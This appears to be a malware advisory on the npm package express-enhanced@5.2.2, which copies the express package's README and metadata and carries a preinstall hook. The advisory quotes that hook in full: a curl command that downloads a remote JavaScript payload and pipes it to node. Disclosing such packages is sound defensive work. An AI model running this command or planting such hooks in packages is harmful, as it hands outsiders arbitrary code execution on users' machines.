express-enhanced@5.2.2

express-enhanced@5.2.2 impersonates the express package: it ships the express README verbatim, declares `TJ Holowaychuk` as author, and points `repository` at `expressjs/express`, while publishing under a different name. The package.json preinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, downloading an unpinned JavaScript payload from a gitflic.ru account unrelated to the express maintainers (wrapped through web.archive.org) and piping it directly to node at `npm install` time. The fetched content is not integrity-checked, the source is mutable and attacker-controlled, and execution happens automatically on install, giving the publisher arbitrary code execution on any machine that installs the package.